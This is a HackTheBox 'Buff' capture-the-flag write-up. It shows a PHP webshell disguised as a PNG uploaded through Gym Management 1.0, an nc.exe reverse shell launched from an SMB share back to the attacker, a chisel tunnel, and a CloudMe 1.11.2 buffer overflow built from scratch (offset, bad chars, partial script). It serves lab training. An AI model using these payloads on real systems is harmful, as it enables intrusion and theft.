the_open_door
coffee
ESEN

Buff

HackTheBoxEasyWindows10.10.10.198

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#gym-management#file-upload#webshell#rce#cloudme#buffer-overflow#eip#jmp-esp#mona#immunity-debugger#chisel#port-forwarding
TL;DR. Buff runs Gym Management Software 1.0 on 8080, with an unauthenticated upload that lets you sneak in a PHP webshell disguised as a PNG and run commands as shaun. For root, winPEAS finds CloudMe 1.11.2 running only on 127.0.0.1:8888; it's vulnerable to a classic stack buffer overflow. Instead of firing the public exploit, we rebuild it from scratch (offset, bad chars, jmp ESP and shellcode) against a copy of the service installed on a Windows 7 lab box, and since the victim's service listens on loopback we set up a chisel tunnel to reach it. Firing it lands NT AUTHORITY\SYSTEM.

Recon

Ping

We start with a ping to confirm the host is up and check the TTL, which hints at the OS (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.10.198

the ping to 10.10.10.198 answers with ttl=127, with 7 packets sent and only 1 received

PING 10.10.10.198 (10.10.10.198) 56(84) bytes of data.
64 bytes from 10.10.10.198: icmp_seq=7 ttl=127 time=115 ms
^C
--- 10.10.10.198 ping statistics ---
7 packets transmitted, 1 received, 85.7143% packet loss, time 6127ms
rtt min/avg/max/mdev = 114.724/114.724/114.724/0.000 ms

TTL 127 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so a 127 means one intermediate hop (the VPN); a hint, not proof (it can be spoofed), confirmed by the service scan. Losing 85% of the packets is normal in these labs, which answer ICMP sparingly.

Port scan

First the full sweep of all 65535 ports (port scanning). It lives inside a jmap function defined in the .zshrc, which only asks for the IP and applies the usual options:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.198 -oG scan

the full scan discovers ports 7680 and 8080 open out of 65535

Discovered open port 7680/tcp on 10.10.10.198
Discovered open port 8080/tcp on 10.10.10.198
...
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE     REASON
7680/tcp open  pando-pub   syn-ack ttl 127
8080/tcp open  http-proxy  syn-ack ttl 127

Out of 65535 ports only two answer, and the rest come back filtered (no response), the usual signature of a Windows firewall dropping silently.

To avoid retyping those ports into the next command, another .zshrc function, extractPorts, pulls them out of the scan file and leaves them on the clipboard:

extractPorts scan

extractPorts reads the scan file and returns IP Address 10.10.10.198 and Open ports 7680,8080, copied to the clipboard

Extracting information ...

IP Address: 10.10.10.198
Open ports: 7680,8080

Ports copied to clipboard

IP Address: 10.10.10.198
Open ports: 7680,8080

Over those two we run the targeted version scan:

nmap -sCV -Pn -p7608,8080 10.10.10.198

the version scan reports Apache 2.4.43 with PHP 7.4.6 on 8080 and leaves the other port as filtered

PORT     STATE    SERVICE VERSION
7608/tcp filtered unknown
8080/tcp open     http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION

Watch the detail, because it explains an otherwise confusing output: the port was typed as 7608 instead of 7680, which is why it shows up as filtered. It changes nothing about the attack (the real 7680 is pando-pub, Windows' Delivery Optimization service, which offers no surface), but always cross-check the targeted scan's ports against the full one.

TCP 8080 - Gym Management Software 1.0

Before fuzzing it pays to know what we're talking to, so we fingerprint the stack:

whatweb 10.10.10.198:8080

whatweb identifies Apache 2.4.43 on Win64 with PHP 7.4.6 and the title mrb3n's Bro Hut

http://10.10.10.198:8080 [200 OK] Apache[2.4.43], Bootstrap, Cookies[sec_session_id], Frame, HTML5,
HTTPServer[Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6], HttpOnly[sec_session_id], IP[10.10.10.198],
JQuery[1.11.0,1.9.1], OpenSSL[1.1.1g], PHP[7.4.6], PasswordField[password], Shopify,
Title[mrb3n's Bro Hut], Vimeo, X-Powered-By[PHP/7.4.6], X-UA-Compatible[IE=edge]

Wappalyzer adds nothing on the server side, only the front-end trimmings, and that absence is informative too: there is no framework detectable by signature, so the site is plain PHP.

Wappalyzer on 10.10.10.198:8080 lists jQuery 1.11.0, jQuery UI 1.10.4, Bootstrap and the Google and jQuery CDNs

CDN                   Google Hosted Libraries, jQuery CDN
JavaScript libraries  jQuery 1.11.0, jQuery UI 1.10.4
UI frameworks         Bootstrap

The landing page's source says the same and hides nothing: just a Bootstrap template, local stylesheets under boot/css/ and the mrb3n's Bro Hut title. No forgotten comments, no internal paths.

the page's view-source shows the Bootstrap template, the boot/css stylesheets and the mrb3n's Bro Hut title, with no comments or paths of interest

<title>mrb3n's Bro Hut</title>

<!-- Bootstrap core CSS -->
<link href="boot/css/bootstrap.min.css" rel="stylesheet">

<!-- Custom styles for this template -->
<link href="boot/css/main.css" rel="stylesheet">
<link href="http://code.jquery.com/ui/1.10.4/themes/smoothness/jquery-ui.css" text="text/css" rel="stylesheet">

PHP confirmed, which is what decides the extensions for the next step (content discovery):

dirsearch -u http://10.10.10.198:8080/ --exclude-status=403,404

dirsearch lists about.php, contact.php, edit.php, register.php, upload.php and the Upload and profile directories

[20:38:16] 200 -    5KB - /about.php
[20:38:34] 200 -    2KB - /cgi-bin/printenv.pl
[20:38:37] 200 -    4KB - /contact.php
[20:38:42] 200 -    4KB - /edit.php
[20:38:46] 200 -    4KB - /feedback.php
[20:38:47] 200 -  143B  - /home.php
[20:39:07] 301 -  345B  - /profile  ->  http://10.10.10.198:8080/profile/
[20:39:10] 200 -  137B  - /register.php
[20:39:20] 301 -  344B  - /upload  ->  http://10.10.10.198:8080/upload/
[20:39:21] 200 -  107B  - /upload.php

A second sweep with gobuster and a different wordlist works as a control, to rule out that dirsearch missed something:

gobuster dir -u http://10.10.10.198:8080/ -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404

gobuster confirms profile, img and upload as the only application directories, among several timeout errors

/profile              (Status: 301) [Size: 345] [--> http://10.10.10.198:8080/profile/]
/img                  (Status: 301) [Size: 341] [--> http://10.10.10.198:8080/img/]
/upload               (Status: 301) [Size: 344] [--> http://10.10.10.198:8080/upload/]
/license              (Status: 200) [Size: 18025]
/examples             (Status: 503) [Size: 1058]
/include              (Status: 301) [Size: 345] [--> http://10.10.10.198:8080/include/]
/phpmyadmin           (Status: 403) [Size: 1203]
[ERROR] Get "http://10.10.10.198:8080/warez": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

The [ERROR] timeouts are noise from the server itself, which cannot take 100 threads, and they hide nothing: gobuster reaches the same three application directories. Two paths stand out: /upload.php and the /upload/ directory it writes to. An upload form that also lets you browse its destination is the exact pattern of upload-to-RCE, so that is where the effort goes. And contact.php closes the fingerprinting: the footer gives away Gym Management Software 1.0.

the site reveals it uses Gym Management Software 1.0

Shell as shaun

Gym Management 1.0: unauthenticated file upload

searchsploit confirms an unauthenticated file-upload-to-RCE exploit for that exact version:

searchsploit "Gym Management"

searchsploit shows the unauthenticated upload exploit for Gym Management 1.0

Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py

Before using it we read it, because that is where the whole technique comes from. searchsploit -m copies it into the working directory:

searchsploit -m php/webapps/48506.py
cat 48506.py

48506.py's header enumerates the six steps of the attack: upload.php without a session, the id parameter, the double extension, Content-Type image/png, the PHP one-liner and the file rename

# Exploit Title: Gym Management System 1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: 2020-05-21
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Exploit Details:
#   1. Access the '/upload.php' page, as it does not check for an authenticated user session.
#   2. Set the 'id' parameter of the GET request to the desired file name for the uploaded PHP file.
#      - `upload.php?id=kamehameha`
#   3. Bypass the extension whitelist by adding a double extension, with the last one as an
#      acceptable extension (png).
#        5 $allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
#        6 $extension = @end(explode(".", $_FILES["file"]["name"]));
#       14 && in_array($extension, $allowedExts))
#   4. Bypass the file type check by modifying the 'Content-Type' of the 'file' parameter to
#      'image/png' in the POST request, and set the 'pupload' paramter to 'upload'.
#   5. In the body of the 'file' parameter of the POST request, insert the malicious PHP code:
#        <?php echo shell_exec($_GET["telepathy"]); ?>
#   6. The Web Application will rename the file to have the extension with the second item in an
#      array created from the file name; seperated by the '.' character.

That header is the full map: the flaw is not one but three chained. $allowedExts only looks at the last extension, the Content-Type is set by the client, and the rename keeps the second element of the name split on dots, which is what turns pwned.php.png into pwned.php.

Before the multipart it is worth looking at the script's other half, the one used after the upload, because it explains the next step:

48506.py's webshell function points at upload/kamehameha.php and sends commands through the telepathy parameter in an interactive loop

def webshell(SERVER_URL, session):
    WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
    getdir  = {'telepathy': 'echo %CD%'}
    r2 = session.get(WEB_SHELL, params=getdir, verify=False)
    ...
    while True:
        thought = raw_input(term)
        command = {'telepathy': thought}
        r2 = requests.get(WEB_SHELL, params=command, verify=False)
        print(response2)

UPLOAD_DIR = 'upload.php?id=kamehameha'

Three facts come out of that, and they are worth more than the exploit itself. The webshell ends up at upload/<name>.php (the path where the file lands), commands travel over GET in the telepathy parameter (the same name that appeared in the header's shell_exec), and the initial echo %CD% is just a liveness check confirming the shell answers before entering the loop. UPLOAD_DIR itself confirms the upload's id is what names the file.

The exploit's body shows how the upload materialises: it prepends PNG magic bytes to the PHP and sends the whole thing with Content-Type: image/png.

48506.py's body defines PNG_magicBytes and builds the multipart with kaio-ken.php.png, the PHP one-liner and the image/png Content-Type

PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
png       = {
             'file':
              (
                'kaio-ken.php.png',
                PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>',
                'image/png',
                {'Content-Disposition': 'form-data'}
              )
            }
fdata   = {'pupload': 'upload'}
r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)

With the technique understood there is no need to run the exploit as-is: reproducing it by hand also puts every piece on show. First the file, with a PNG's magic bytes ahead of the one-liner:

(echo -ne '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'; echo '<?php echo shell_exec($_GET["cmd"]); ?>') > pwned.php.png
file pwned.php.png
xxd pwned.php.png

the file starts with the .PNG magic bytes followed by the PHP one-liner; file reports it as data

pwned.php.png: data
00000000: 8950 4e47 0d0a 1a0a 3c3f 7068 7020 6563  .PNG....<?php ec
00000010: 686f 2073 6865 6c6c 5f65 7865 6328 245f  ho shell_exec($_
00000020: 4745 545b 2263 6d64 225d 293b 203f 3e0a  GET["cmd"]); ?>.

The xxd shows why it works: the first eight bytes are a PNG's signature (89 50 4E 47, that is .PNG), which is what the server's validation looks at, and right behind it sits the PHP in the clear. file reports it as data rather than an image because the rest of the file is not a valid PNG, but the uploader only cares about the header.

The upload replicates the exploit's multipart, with the spoofed Content-Type and the pupload=upload the application expects:

curl -X POST "http://10.10.10.198:8080/upload.php?id=pwned" \
     -F "file=@pwned.php.png;type=image/png" \
     -F "pupload=upload"

the upload curl with the id=pwned parameter, the file declared as image/png and the pupload=upload field

The server prints nothing back, but id=pwned decides the name and step 6's rename leaves the webshell at /upload/pwned.php, which already runs commands through the cmd parameter:

curl "http://10.10.10.198:8080/upload/pwned.php?cmd=whoami"
curl "http://10.10.10.198:8080/upload/pwned.php?cmd=ipconfig"

the webshell runs whoami and returns buff\shaun

GET /upload/pwned.php?cmd=whoami  ->  buff\shaun

From webshell to reverse shell

The webshell is awkward (one command per request, no state), so we turn it into an interactive shell. On Windows the short path is an nc.exe, and there is no need to download one: Kali and SecLists already ship it, so we just locate it and bring it to the working directory. Rather than serving it over HTTP we publish it over SMB, because that lets the victim run it straight off the share, without writing it to disk first:

find / -name nc.exe 2>/dev/null
mv /home/krmena/machines/bounty/exploits/nc.exe .
smbserver.py smbFolder $(pwd) -smb2support

the find locates several nc.exe copies in Kali and SecLists, one is copied into the directory and smbserver.py publishes the folder as smbFolder

/home/krmena/machines/arctic/exploits/netcat/nc.exe
/home/krmena/machines/bounty/exploits/netcat/nc.exe
/home/krmena/machines/bounty/exploits/nc.exe
/home/krmena/machines/blue/exploits/netcat/nc.exe
/home/krmena/machines/blue/exploits/nc.exe
/home/krmena/SecLists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

The call goes out from the browser's own address bar, pointing cmd at the share's UNC path:

the browser address bar with the cmd parameter pointing to \\10.10.16.2\smbFolder\nc.exe -e cmd, and the response showing only the PNG signature

http://10.10.10.198:8080/upload/pwned.php?cmd=\\10.10.16.2\smbFolder\nc.exe -e cmd 10.10.16.2 4444

The page only returns the ?PNG of the fake header, because nc.exe writes nothing to the browser's standard output: all its activity goes down the socket. And there is the shell:

smbserver.py smbFolder $(pwd) -smb2support
rlwrap nc -nlvp 4444
whoami /priv

the smbserver logs BUFF\shaun authenticating with its NetNTLMv2 hash while the listener catches the shell and whoami /priv shows only SeChangeNotifyPrivilege enabled

[*] Incoming connection (10.10.10.198,49761)
[*] AUTHENTICATE_MESSAGE (BUFF\shaun,BUFF)
[*] User BUFF\shaun authenticated successfully
[*] shaun::BUFF:aaaaaaaaaaaaaaaa:6784dd9b9b68d5d3f0143b40fc679933:0101000000000000...
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)

listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.198] 49762
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>whoami /priv

PRIVILEGES INFORMATION

Privilege Name                Description                      State
============================= ================================ ========
SeShutdownPrivilege           Shut down the system             Disabled
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Disabled
SeTimeZonePrivilege           Change the time zone             Disabled

Three gifts in a single capture. The SMB server incidentally captures shaun's NetNTLMv2 (not needed here, but in another scenario it would be a cracking vector). The shell's path, C:\xampp\htdocs\gym\upload, confirms there is a XAMPP behind it. And whoami /priv closes a route before we open it: the only enabled privilege is SeChangeNotifyPrivilege, which every user has, so there is no potato or token abuse here; escalation will have to come from installed software.

With an interactive shell we read the first flag:

C:\Users> type shaun\Desktop\user.txt
cee7d793af9fc5f8606f07357995a48c

reading shaun's user.txt

Shell as SYSTEM

winPEAS: CloudMe 1.11.2 on loopback

If escalation does not come from privileges, it comes from what is installed, and that is what winPEAS (repo) is for. We grab it from the project's releases page, picking the build that matches the victim's architecture:

the PEASS-ng releases page with winPEASx64.exe highlighted in the list and completed in the download panel

winPEAS.bat        23756ec27a0707efe429caa1c0...   36.1 KB
winPEASany.exe     33acad498d85e29cd6592b97ae...   9.69 MB
winPEASany_ofs.exe 87c6100f3f20f35421d88bda7f...   9.55 MB
winPEASx64.exe     8fae0a4273fc5f173c94830d63...   9.69 MB

It is moved into the working directory and served from the attacker with an http.server:

mv /home/krmena/Downloads/winPEASx64.exe .
python3 -m http.server 80

the mv of winPEASx64.exe into the working directory and the http.server serving on port 80

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Along the way it is renamed to winPEAS.exe, which is the name it gets fetched by next. On the victim it comes down with curl, which ships with Windows 10:

curl http://10.10.16.2/winPEAS.exe -o winPEAS.exe
dir

the curl downloads 9918k of winPEAS.exe into C:\Windows\Temp\content and the dir confirms the 10,156,032-byte file

C:\Windows\Temp\content>curl http://10.10.16.2/winPEAS.exe -o winPEAS.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
100 9918k  100 9918k    0     0  3306k      0  0:00:03  0:00:03 --:--:-- 2518k

 Directory of C:\Windows\Temp\content

02/09/2025  16:36        10,156,032 winPEAS.exe

And it runs:

winPEAS.exe

winPEAS starts with its ASCII banner and warns that without the fileanalysis argument it will not search files for sensitive information

C:\Windows\Temp\content>winPEAS.exe
 [!] If you want to run the file analysis checks (search sensitive information in files), you need to
     specify the 'fileanalysis' or 'all' argument.
 ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the
     host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1'

  WinPEAS-ng by @hacktricks_live

Among the whole dump, the section on executables in non-default folders with write permissions flags a name that has no business on a server: CloudMe_1112.exe in shaun's Downloads.

winPEAS flags C:\Users\shaun\Downloads\CloudMe_1112.exe with shaun Allow AllAccess permissions among the executables in non-default folders

Searching executable files in non-default folders with write (equivalent) permissions (can be slow)
  File Permissions "C:\Users\shaun\Downloads\CloudMe_1112.exe": shaun [Allow: AllAccess]

The name says nothing on its own, so step one is finding out what it is:

the result of searching "what is cloudme": a European cloud storage and file synchronisation service

CloudMe is a European cloud storage and file synchronization service that allows users to store,
access, and share files across various devices, including computers, smartphones, and smart TVs.

A sync client brings up a local service, so the next question is which port:

the result of searching "cloudme default port": the CloudMe Sync client opens a socket on TCP port 8888, with a link to a Buffer Overflow on Exploit DB

CloudMe Sync client creates a socket listening on TCP Port 8888 (0x22B8) In Qt5Core: 00564DF1.
Exploit DB · CloudMe Sync < 1.11.0 - Buffer Overflow

The search engine already hints that this port has a history of overflows. We check it on the victim:

netstat -nat

netstat on the victim shows 127.0.0.1:8888 LISTENING, next to XAMPP's 127.0.0.1:3306, while 7680 and 8080 listen on 0.0.0.0

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING
  TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING

There is the explanation for why the external scan only saw two ports: 8888 listens on 127.0.0.1, not on 0.0.0.0. It is reachable only from the box itself. With the service and version identified, searchsploit finishes the job:

searchsploit cloudme

searchsploit shows the buffer overflow exploits for CloudMe

Exploit Title                                   |  Path
----------------------------------------------- | ---------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC)          | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR) | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR) | windows/local/48840.py

All of them are overflows. The first, the simplest, already has the numbers worked out:

the 48389.py PoC with a 1052-byte padding1, the EIP 0x68A842B5 marked as PUSH ESP RET, 30 NOPs and a calc.exe payload

# Exploit Author: Andy Bowden
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86
#Instructions:
# Start the CloudMe service and run the script.

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
payload    = b"\xba\xad\x1e\x1c\x7c\x02\xdb\xcf\xd9\x74\x24\xf4..."

Everything that needs rebuilding is right there: the 1052-byte offset, an address that redirects execution to the stack, and a payload. This exploit will not be used. Buff's interest is exactly the opposite: developing it from scratch, which is what an OSCP asks for, and keeping the process. The PoC serves only as a control, to check the numbers we derive ourselves at the end.

Local lab: replicating the service

Hammering a service with patterns and a debugger against the production box is a bad idea: every failed attempt takes it down and you wait for someone to bring it back. The right move is to build a copy. The installer comes from the vendor's site, and the exact version (CloudMe_1112.exe) is still reachable by changing the number in the download URL, even though the site now offers 1.11.7:

the CloudMe site offers version 1.11.7, but forcing the /downloads/CloudMe_1112.exe URL downloads the 1.11.2 installer

https://www.cloudme.com/downloads/CloudMe_1112.exe
CloudMe_1112.exe   Completed - 17.0 MB

It goes onto a Windows 7 lab box (where Immunity Debugger already lives), and the first obstacle appears: the client does not start the service until a session is logged in.

the CloudMe_1112 installer in the Downloads folder next to ImmunityDebugger_1_85_setup, and the CloudMe Sync window asking for username and password with the notice to register for a free account

CloudMe Sync
  Conéctate a tu cuenta
  Nombre de usuario / Contraseña
  Regístrese para obtener una cuenta gratuita

Registering from inside the application fails, so it is done through the website, with a throwaway address from temp-mail:

the CloudMe sign-up form filled in with a temp-mail address and Spain as the country, before pressing Create Account

Sign up for a free account
  Desired username : kmn9
  Email            : tiyaxay461@besaies.com
  Country          : Spain

Those credentials get us in from the application (the username ended up being kmn99, because the form's kmn9 was taken):

the CloudMe Sync window with the username kmn99 and the password filled in, before pressing Entrar

Conéctate con tu cuenta
  Nombre de usuario : kmn99
  Contraseña        : ********

The application logs in and the service comes up:

CloudMe Sync logged in, on the Sincronizado tab with the notice of 1 active synchronised folder

1 carpeta(s) activa sincronizados y actualizados con este ordenador

The port shows up where expected, with the same limitation as on the real victim:

netstat -natp TCP

netstat on the Windows 7 lab box shows 127.0.0.1:8888 LISTENING

  Proto  Dirección local        Dirección remota       Estado
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING

Confirmed from the attacker: the lab's 8888 is not visible from outside either.

nmap -sS -Pn --min-rate 5000 -p8888 --open -n -vvv 192.168.1.203

the scan of 8888 against the Windows 7's IP finishes without listing any open port

Completed SYN Stealth Scan at 20:17, 0.02s elapsed (1 total ports)
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
           Raw packets sent: 2 (72B) | Rcvd: 2 (68B)

No PORT table, meaning nothing open: --open filtered out the single port we asked for. That is exactly the problem we will have to solve against the real victim too, so it is worth solving here first, with chisel (repo). Before downloading it we need the lab box's architecture:

wmic os get osarchitecture

the wmic returns 32 bits and the browser downloads chisel_1.7.7_windows_386.gz from the releases page

C:\Users\usuario>wmic os get osarchitecture
OSArchitecture
32 bits

32-bit, so the windows_386 build it is. It ships as a .gz, a format Windows does not open out of the box, hence the detour through 7-Zip:

the 7-Zip download page with the 32-bit installer highlighted and the wizard confirming 7-Zip 25.01 is installed

Download 7-Zip 25.01 (2025-08-03) for Windows:
  .exe   32-bit Windows x86   7-Zip installer for Windows
7-Zip 25.01 is installed

7-Zip opens chisel_1.7.7_windows_386.gz and extracts the 7,352,320-byte chisel.exe onto the desktop

C:\Users\usuario\Desktop\chisel_1.7.7_windows_386.gz\
  Nombre      Tamaño      Tamaño comp.   Modificado
  chisel.exe  7 352 320   3 101 970      2022-01-31 04:35

The server goes up on the attacker and the client on the lab box, asking for its 8888 to come out through our 8888:

chisel server --reverse -p 1234

the chisel server starts with Reverse tunnelling enabled, its fingerprint and listening on 1234

2025/09/02 20:23:42 server: Reverse tunnelling enabled
2025/09/02 20:23:42 server: Fingerprint iD1iDiORm1E3/2VlZiN+jMzSaJnJ/zm57mzXfYhv2rw=
2025/09/02 20:23:42 server: Listening on http://0.0.0.0:1234
chisel.exe client 192.168.1.80:1234 R:8888

the chisel client on Windows 7 connects to ws://192.168.1.80:1234 and reports Connected with 0s latency

C:\Users\usuario\Desktop>chisel.exe client 192.168.1.80:1234 R:8888
2025/09/02 20:30:22 client: Connecting to ws://192.168.1.80:1234
2025/09/02 20:30:22 client: Connected (Latency 0s)

the chisel server logs the sessions and the R:8888 proxy listening

2025/09/02 20:29:50 server: session#1: Client version (1.7.7) differs from server version (1.10.1-0kali1)
2025/09/02 20:29:50 server: session#1: tun: proxy#R:8888=>8888: Listening
2025/09/02 20:29:59 server: session#2: tun: proxy#R:8888=>8888: Listening

The version-mismatch warning is cosmetic: the tunnel works all the same. The proof is repeating the scan, this time against our own localhost:

nmap -sS -Pn -p8888 --open -n -vvv localhost

the same scan against localhost does discover 8888 open, with ttl 64

Discovered open port 8888/tcp on 127.0.0.1

PORT     STATE SERVICE        REASON
8888/tcp open  sun-answerbook syn-ack ttl 64

We can now talk to CloudMe as if it were local.

Offset: where the EIP lands

The first thing we need is how many bytes must be sent for the next value to land right on top of the EIP, the register holding the address of the next instruction. If instead of 2000 identical letters we send a pattern that never repeats, whichever chunk ends up in EIP tells us by itself what position it came from:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

pattern_create.rb generates the 2000-character cyclic pattern Aa0Aa1Aa2Aa3...

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1...

With the pattern ready, CloudMe is started on the lab box and Immunity Debugger attaches to its process, so we can watch the registers at the moment of the crash:

Immunity Debugger's Select process to attach dialog with the CloudMe process selected

Select process to attach
  PID   Name       Window
  ...
  892   CloudMe    CloudMe Sync

Sending it needs no exploit yet, just pasting the pattern into a netcat against the tunnelled port:

nc 127.0.0.1 8888

the cyclic pattern pasted into the netcat session against 127.0.0.1:8888

The program crashes, and the debugger shows the result:

Immunity Debugger after the crash: EIP holds 316A4230 and ESP points at the continuation of the pattern

EAX 00000001
ESP 0022AB50  ASCII "Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5..."
EIP 316A4230

The EIP has been overwritten with four bytes of the pattern, 316A4230. Feeding that value back into the sister tool gives the exact position:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x316A4230

pattern_offset.rb returns Exact match at offset 1052

[*] Exact match at offset 1052

1052 bytes, the same number the public PoC carried. But an inherited number is worth nothing: we verify it by sending exactly 1052 A and four B, and checking the Bs land where they should.

for i in {1..1052}; do echo -n "A"; done; echo "BBBB"
nc 127.0.0.1 8888

the loop generates 1052 As followed by BBBB and that string is sent over netcat to 8888

after the send, Immunity's EIP holds 42424242 and ESP points at 0022D470

EBX 41414141
ESP 0022D470
EBP 41414141
ESI 41414141
EIP 42424242

41 is A and 42 is B in hex, so the padding fills everything before it and the EIP is entirely ours. Leaving no doubt about the equivalence:

echo -n "42424242" | xxd -r -p

the echo with xxd -r -p turns 42424242 into BBBB

BBBB

Confirmed: full control of EIP from byte 1052 onward. And ESP (0022D470) points at whatever comes next, which is where the shellcode will go.

Bad chars: which bytes get eaten on the way

Before generating a payload we need to know which bytes survive the trip. Some (the null \x00, the newline \x0a, the carriage return \x0d) are usually read as end-of-string by the program itself and truncate the payload. The way to find out is to send all 256 and compare them in memory byte by byte, which is what Immunity's mona plugin does. First we tell it where to write:

!mona config -set workingfolder C:\Users\usuario\Downloads\Analysis

the Analysis folder created under Downloads after running mona's config command

!mona config -set workingfolder C:\Users\usuario\Downloads\Analysis

And we generate the reference table:

!mona bytearray

mona generates bytearray.txt and bytearray.bin in the Analysis folder with all 256 bytes

[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\Users\usuario\Downloads\Analysis\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f..."
Done, wrote 256 bytes to file C:\Users\usuario\Downloads\Analysis\bytearray.bin

Both files have to come back to the attacker, and the same smbserver.py as before does the job, this time in the opposite direction:

smbserver.py smbFolder $(pwd) -smb2support

smbserver.py published again from the attacker's exploits directory

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0

the Windows 7 explorer copies bytearray.bin and bytearray.txt from Downloads\Analysis to the \\192.168.1.80\smbfolder network share

Red > 192.168.1.80 > smbfolder
  bytearray.bin   03/09/2025 16:30   Archivo BIN    1 KB
  bytearray       03/09/2025 16:30   Documento de tex...  2 KB
  exploit         02/09/2025 20:07   Python File    1 KB

the smbserver logs the Windows 7 connection and, once stopped, the attacker's ls already shows bytearray.bin and bytearray.txt

[*] Incoming connection (192.168.1.203,49733)
[*] AUTHENTICATE_MESSAGE (WIN-L3DIH73AS4R\usuario,WIN-L3DIH73AS4R)
[*] User WIN-L3DIH73AS4R\usuario authenticated successfully
[*] Connecting Share(2:smbfolder)

# ls
bytearray.bin  bytearray.txt  exploit.py

The .txt carries the 256 bytes already formatted to paste into a Python script:

cat bytearray.txt | tail -n 11

the last eleven lines of bytearray.txt with the 256 bytes in \x00\x01\x02 format ready to copy

"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
...
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

From here on the sending stops being manual: a short script automates the padding, the EIP and the byte block.

cat exploit.py
python3 exploit.py

the exploit.py with offset 1052, an eip of four Bs and the full badchars block, run with python3

#!/usr/bin/python3

import socket, signal, sys

def def_handler(sig, frame):
        print("\n\n[!]Saliendo...\n")
        sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

ip_address = "127.0.0.1"
offset = 1052
before_eip = b"A"*offset
eip = b"B"*4
badchars = (b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f..."
